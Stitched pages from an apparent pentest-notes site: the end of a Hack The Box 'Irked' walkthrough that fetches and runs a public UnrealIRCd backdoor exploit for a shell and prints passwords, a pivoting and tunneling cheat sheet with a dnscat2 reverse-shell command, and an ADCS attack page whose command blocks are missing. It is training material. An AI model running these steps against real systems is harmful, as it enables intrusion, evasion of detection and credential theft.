podemos obtener la flag. [PreviousDevvortexchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/devvortex) [NextKeeperchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/keeper) Last updated 9 months ago * [📝 Descripción](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#descripcion) * [🔭 Reconocimiento](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#reconocimiento) * [🌐 Enumeración Web](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#enumeracion-web) * [💻 Explotación](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#explotacion) Copy ❯ ping -c2 10.10.10.117 PING 10.10.10.117 (10.10.10.117) 56(84) bytes of data. 64 bytes from 10.10.10.117: icmp_seq=1 ttl=63 time=49.1 ms 64 bytes from 10.10.10.117: icmp_seq=2 ttl=63 time=47.3 ms --- 10.10.10.117 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1003ms rtt min/avg/max/mdev = 47.264/48.179/49.095/0.915 ms Copy ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.143 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//) Copy echo $ports 22,80,111,6697,8067,45980,65534 Copy nmap -sC -sV -p$ports 10.10.10.117 -oN services.txt Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 13:25 CEST Nmap scan report for 10.10.10.117 Host is up (0.046s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA) | 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA) | 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA) |_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Site doesn't have a title (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 45980/tcp status | 100024 1 48376/udp status | 100024 1 49219/tcp6 status |_ 100024 1 58268/udp6 status 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd 45980/tcp open status 1 (RPC #100024) 65534/tcp open irc UnrealIRCd Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Copy ls -la /usr/share/nmap/scripts | grep unreal Copy ❯ nmap --script=irc-unrealircd-backdoor -p6697,8067,45980,65534 10.10.10.117 Copy wget https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/refs/heads/master/exploit.py Copy chmod +x exploit.py Copy python3 exploit.py 10.10.10.117 6697 -payload bash Copy script /dev/null -c bash stty raw -echo; fg reset xterm export TERM=xterm Copy steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss Copy su djmardov Kab6h+m+bbp2J:HG Copy find / -perm -4000 2>/dev/null Copy echo "bash" > /tmp/listusers chmod +x listusers /usr/bin/viewuser --- # Medium | Pentest Notes [Chatterboxchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/chatterbox) [Jeeveschevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/jeeves) [Sniperchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/sniper) [Querierchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/querier) [Giddychevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/giddy) [Remotechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/remote) [SecNoteschevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/secnotes) [Monteverdechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/monteverde) [Administratorchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/administrator) [Certifiedchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/certified) [Thefrizzchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/thefrizz) [Escapechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/escape) [PreviousEscapeTwochevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/escapetwo) [NextChatterboxchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/chatterbox) Last updated 9 months ago --- # Pivoting, Tunneling, Port Forwarding | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#introduction) **Introduction** -------------------------------------------------------------------------------------------------------------------------------------------------------------- > **Pivoting** is essentially the idea of moving to other networks through a compromised host (pivot host) to find more targets on different network segments. Pivoting's primary use is to defeat segmentation (both physically and virtually) to access an isolated network. **Tunneling** is a subset of pivoting. Tunneling encapsulates network traffic into another protocol and routes traffic through it. **Port forwarding** is a technique that allows us to redirect a communication request from one port to another. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#initial-enumeration-finding-more-targets) **Initial Enumeration - Finding More Targets** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#finding-networks) **Finding Networks** Command Description `ifconfig` Linux-based command that displays all current network configurations of a system. `ipconfig` Windows-based command that displays all system network configurations. `netstat -r` Command used to display the routing table for all IPv4-based protocols. `netstat -antp` Used to display all active network connections with associated process IDs. Useful to identify internal services to enumerate though pivoting `netstat -antb |findstr 1080` Windows-based command used to list TCP network connections listening on port 1080. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#internal-hosts-discovery) **Internal Hosts Discovery** Command Description `for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done` For Loop used on a Linux-based system to discover devices in a specified network segment. `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"` For Loop used on a Windows-based system to discover devices in a specified network segment. `1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}` PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ssh-local-port-forwarding) **SSH Local Port forwarding** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `ssh -L 1234:localhost:3306 Ubuntu@` SSH comand used to create an SSH tunnel from local port 1234 to a remote target using port 3306. `netstat -antp | grep 1234` Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` . `nmap -v -sV -p1234 localhost` Nmap command used to scan a host through a connection that has been made on local port `1234`. `ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@` SSH command that instructs the ssh client to request multiple local port forwarding at the same time. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ssh-dynamic-port-forwarding) **SSH Dynamic Port Forwarding** -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `ssh -D 9050 ubuntu@` SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy. `tail -4 /etc/proxychains.conf` Read proxychains.conf to ensure socks configurations are in place. `proxychains nmap -v -sn 172.16.5.1-200` Send traffic generated by Nmap through Proxychains and a SOCKS proxy. `proxychains msfconsole` Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ssh-reverse-port-forwarding) **SSH Reverse Port Forwarding** -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `ssh -R :8080:0.0.0.0:80 user@ -vN` Reverse SSH tunnel from target host to attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#chisel-pivoting) **Chisel Pivoting** -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `./chisel server -v -p 1234 --socks5` Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5. `./chisel client -v 10.129.202.64:1234 socks` Used to connect to a chisel server at the specified IP address & port using socks. Add to proxychains: `127.0.0.1 socks5 1080` Line to add to `/etc/proxychains.conf` when using chisel * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#proxychains-configuration) **ProxyChains Configuration** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > Many tools will require setting up the proxychain configuration in order to function properly. > > For example, chisel requires adding the following: `127.0.0.1 socks5 1080`. Command Description `socks4 127.0.0.1 9050` Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port. `socks5 127.0.0.1 1080` Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#meterpreter-pivoting) **Meterpreter Pivoting** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Command Description `msf6 > use post/multi/manage/autoroute` Metasploit command used to select the autoroute module. `meterpreter > portfwd add -l 3300 -p 3389 -r ` Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target. `meterpreter > portfwd add -R -l 8081 -p 1234 -L ` Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#socat-pivoting) **Socat Pivoting** ------------------------------------------------------------------------------------------------------------------------------------------------------------------ Command Description `socat TCP4-LISTEN:8080,fork TCP4::80` Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80. `socat TCP4-LISTEN:8080,fork TCP4::8443` Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#windows-plink-pivoting) **Windows PLink Pivoting** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `plink -D 9050 ubuntu@` Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#sshuttle-pivoting) **SSHuttle Pivoting** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Command Description `sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v` Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#windows-netsh-pivoting) Windows NetSh Pivoting ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ `netsh` is the native way to create a port forward on Windows. Notice that `netsh` can only be run from `Administrator` users. Command Description `netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215` Listen on port on the 192.168.50.64 IP on port 2222 and forward packets to the 10.4.50.215 IP on port 22. `netsh interface portproxy show all` Check estabilished port forwards `netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow` Allow the previous port foward's traffic from the windows firewall `netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64` Delete the previously created port forward * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#rpivot-pivoting) **Rpivot Pivoting** -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0` Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`). `scp -r rpivot ubuntu@` Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target. `sudo git clone https://github.com/klsecservices/rpivot.git` Clones the rpivot project GitHub repository. `python2.7 client.py --server-ip 10.10.14.18 --server-port 9999` Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#dnscat-pivoting) **DNSCat Pivoting** -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `git clone https://github.com/lukebaggett/dnscat2-powershell.git` Clones the dnscat2-powershell project Github repository. `Import-Module dnscat2.ps1` PowerShell command used to import the dnscat2.ps1 tool. `Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd` PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`). `dnscat2> ?` Used to list dnscat2 options. `dnscat2> window -i 1` Used to interact with an established dnscat2 session. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ptunnel-ng-pivoting) **PTunnel-NG Pivoting** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description `git clone https://github.com/utoni/ptunnel-ng.git` Clones the ptunnel-ng project GitHub repository. `sudo ./autogen.sh` Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files. `sudo ./ptunnel-ng -r10.129.202.64 -R22` Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`). `sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22` Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`). * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#others) **Others** -------------------------------------------------------------------------------------------------------------------------------------------------- Command Description proxychains firefox-esr :80 Open firefox with Proxychains and send the web request through a SOCKS proxy server to the specified destination web server. python client.py --server-ip TargetIP --server-port 8080 --ntlm-proxy-ip ProxyIP --ntlm-proxy-port 8081 --domain nameofWindowsDomain --username username --password password Run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication. netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25 Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389. netsh.exe interface portproxy show v4tov4\` Windows-based command used to view the configurations of a portproxy rule called v4tov4. sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled. [PreviousFile Transferschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers) [NextPassword Attackschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#introduction) * [Initial Enumeration - Finding More Targets](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#initial-enumeration-finding-more-targets) * [Finding Networks](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#finding-networks) * [Internal Hosts Discovery](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#internal-hosts-discovery) * [SSH Local Port forwarding](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ssh-local-port-forwarding) * [SSH Dynamic Port Forwarding](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ssh-dynamic-port-forwarding) * [SSH Reverse Port Forwarding](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ssh-reverse-port-forwarding) * [Chisel Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#chisel-pivoting) * [ProxyChains Configuration](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#proxychains-configuration) * [Meterpreter Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#meterpreter-pivoting) * [Socat Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#socat-pivoting) * [Windows PLink Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#windows-plink-pivoting) * [SSHuttle Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#sshuttle-pivoting) * [Windows NetSh Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#windows-netsh-pivoting) * [Rpivot Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#rpivot-pivoting) * [DNSCat Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#dnscat-pivoting) * [PTunnel-NG Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#ptunnel-ng-pivoting) * [Others](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding#others) --- # Active Directory Certificate Services (ADCS) | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#introduction-to-adcs) Introduction to ADCS ----------------------------------------------------------------------------------------------------------------------------------------- Active Directory Certificate Services (ADCS) is the role that handles certificate issuance for users, computers, and services in the Active Directory network. When misconfigured, this service can present vulnerabilities that attackers could exploit to escalate privileges or access sensitive information. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#common-adcs-vulnerabilities) Common ADCS Vulnerabilities * **Certificate Issuance Privilege Delegation**: If certain users have permissions to issue certificates for others, an attacker could abuse these privileges to obtain elevated permissions. * **Certificate Template Misconfiguration**: Incorrect configurations in certificate templates could allow an attacker to request a certificate on behalf of another user, including one with elevated privileges. * **NTLM Relaying over HTTP**: If ADCS accepts NTLM authentication instead of Kerberos, an attacker could redirect requests to gain access. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#main-components) Main Components * **CA (Certification Authority)**: Issues and manages certificates. There can be multiple CAs in a hierarchy. * **Certificate Templates**: Define configuration, permissions, and requirements for issuing certificates. * **CES (Certificate Enrollment Server)**: Allows certificate renewal through HTTPS requests. * **Certificate Enrollment Policy Web Server**: Provides information about certificate enrollment policies. * **CA Web Enrollment**: Allows hosts outside the domain or with other operating systems to renew certificates. * **NDES (Network Device Enrollment Service)**: Allows network devices to obtain certificates without connection. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#x.509-certificate-formats) X.509 Certificate Formats * **PEM**: Base64-encoded DER certificate; can store multiple keys without password protection. * **DER**: Certificate in raw binary format. * **PFX/P12 (PKCS#12)**: Stores private keys with password protection. * **P7B (PKCS#7)**: Stores certificate chains but not private keys. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#main-certificate-attributes) Main Certificate Attributes * **Subject**: Entity to which the certificate is issued. * **Issuer**: Usually the CA. * **SAN**: Subject Alternative Name. * **Validity Period**: Certificate validity period. * **EKU (Extended Key Use)**: Defines specific uses of the certificate. * **OID (Object Identifier)**: Indicates the purpose or usage scenario of the certificate. OID Certificate Usage 1.3.6.1.5.5.7.3.1 Server Authentication 1.3.6.1.5.5.7.3.2 Client Authentication 1.3.6.1.5.5.7.3.3 Code Signing 1.3.6.1.5.5.7.3.4 Secure Email ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#csr-certificate-signing-request-process) CSR (Certificate Signing Request) Process 1. Client sends a certificate request (CSR). 2. CA verifies client permissions to issue the requested certificate. 3. If permissions match, CA generates and signs the certificate with its private key. 4. Signed certificate is returned to the client. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#checking-misconfigured-templates) Checking Misconfigured Templates ----------------------------------------------------------------------------------------------------------------------------------------------------------------- We'll use **Certipy** for privilege escalation with ADCS. **GitHub Repository**: [ly4k/Certipyarrow-up-right](https://github.com/ly4k/Certipy) To check for misconfigured templates that we can abuse: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#common-issues-and-solutions) Common Issues and Solutions ------------------------------------------------------------------------------------------------------------------------------------------------------- ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#kdc_err_padata_type_nosupp-error) KDC\_ERR\_PADATA\_TYPE\_NOSUPP Error This error occurs when attempting to authenticate with a user's PFX certificate, indicating that the KDC doesn't support the provided authentication type. **Common Causes:** * Domain controller doesn't have a certificate installed for smart cards * DC lacks "Domain Controller", "Domain Controller Authentication", or another certificate with Server Authentication EKU * Wrong CA is being queried or proper CA cannot be contacted **Solution**: Use **PassTheCert** to authenticate to LDAP via SChannel: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc-attack-techniques) ESC Attack Techniques ------------------------------------------------------------------------------------------------------------------------------------------- ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc1-domain-users-enrollment) ESC1 - Domain Users Enrollment Certificate request with alternative SAN. #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#standard-users) Standard Users **Certificate Authentication:** #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#domain-computers-machine-account) Domain Computers (Machine Account) When ESC1 is only available through Domain Computers: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc2) ESC2 Certificate request with alternative SAN: **Authentication:** **Verification:** ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc3) ESC3 Request certificate and then impersonate administrator: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc4) ESC4 Modify vulnerable template: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc5) ESC5 Request and approve certificate: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc6) ESC6 Certificate request with alternative UPN: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc7) ESC7 **Prerequisites**: User must have "Manage CA" and "Manage Certificates" access rights, and SubCA template must be enabled. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc8) ESC8 NTLM Relay attack: **Possible follow-up attacks:** **DCSync Attack (if Domain Admin privileges):** **Silver Ticket (using machine account NTLM hash):** ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc9) ESC9 **Requirements**: GenericWrite or GenericAll over account A to compromise account B. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc10) ESC10 #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#case-1-standard-account-compromise) Case 1: Standard Account Compromise #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#case-2-machine-account-compromise) Case 2: Machine Account Compromise ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc11) ESC11 RPC-based relay attack: Follow ESC8 steps after successful relay. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc13) ESC13 Policy-based certificate template exploitation: Use certificate with Pass-the-Certificate for TGT with additional group privileges. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc14) ESC14 #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#scenario-a-write-altsecurityidentities-on-target) Scenario A: Write altSecurityIdentities on Target **X509 Parser Script** (`x509.py`): ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc15) ESC15 **Description**: Certificate template allows authentication via Client Authentication EKU with altSecurityIdentities configured to use non-compliant Subject Alternative Name (SAN) values. **Requirements**: Access to an account with certificate enrollment permissions, vulnerable certificate template with Client Authentication EKU, and permissive SAN configuration. #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#detection) Detection First, identify vulnerable templates using Certipy: Look for templates that allow: * Client Authentication in Extended Key Usage (EKU) * ENROLLEE\_SUPPLIES\_SUBJECT flag set * No manager approval required * Certificate Request Agent not required #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#method-1-upn-impersonation-with-password-change-destructive) Method 1: UPN Impersonation with Password Change (Destructive) This method involves changing the target administrator's password, making it detectable but straightforward: #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#method-2-on-behalf-of-request-stealthy) Method 2: On-Behalf-Of Request (Stealthy) This method is more stealthy as it doesn't modify the administrator's password: #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#method-3-direct-certificate-authentication) Method 3: Direct Certificate Authentication Alternative approach using certificate for direct LDAP authentication: **Note**: ESC15 vulnerabilities typically arise from misconfigured certificate templates that allow Subject Alternative Name spoofing combined with Client Authentication capabilities. Always verify the specific template configuration and adjust the exploitation approach accordingly. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc16) ESC16 Security Extension disabled on CA. #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#scenario-a-upn-manipulation) Scenario A: UPN Manipulation **Requirements**: StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to victim's UPN. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#tools-and-resources) Tools and Resources --------------------------------------------------------------------------------------------------------------------------------------- ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#primary-tools) Primary Tools * **Certipy**: Main tool for ADCS enumeration and exploitation * **PassTheCert**: Certificate-based authentication when PKINIT is not supported * **PowerView**: Domain enumeration and computer account management * **BloodHound**: Active Directory relationship mapping * **Coercer**: Authentication coercion attacks ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#useful-references) Useful References * [Certipy GitHub Repositoryarrow-up-right](https://github.com/ly4k/Certipy) * [PassTheCert GitHub Repositoryarrow-up-right](https://github.com/AlmondOffSec/PassTheCert) * [The Hacker Recipes - Certificate Authorityarrow-up-right](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-authority) * [SpecterOps ADCS Researcharrow-up-right](https://posts.specterops.io/certified-pre-owned-d95910965cd2) [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#notes-and-best-practices) Notes and Best Practices ------------------------------------------------------------------------------------------------------------------------------------------------- 1. **Always save original configurations** when modifying templates (ESC4, ESC7) 2. **Revert changes** after successful exploitation to minimize detection 3. **Handle timeouts** - If receiving "NETBIOS connection timeout" errors, retry the commands 4. **Certificate validation** - Ensure proper certificate validation when authenticating 5. **Privilege verification** - Always verify obtained privileges match expected access levels [PreviousAbusing ACLs/ACEschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/ad-acl-abuse) [NextAttacking 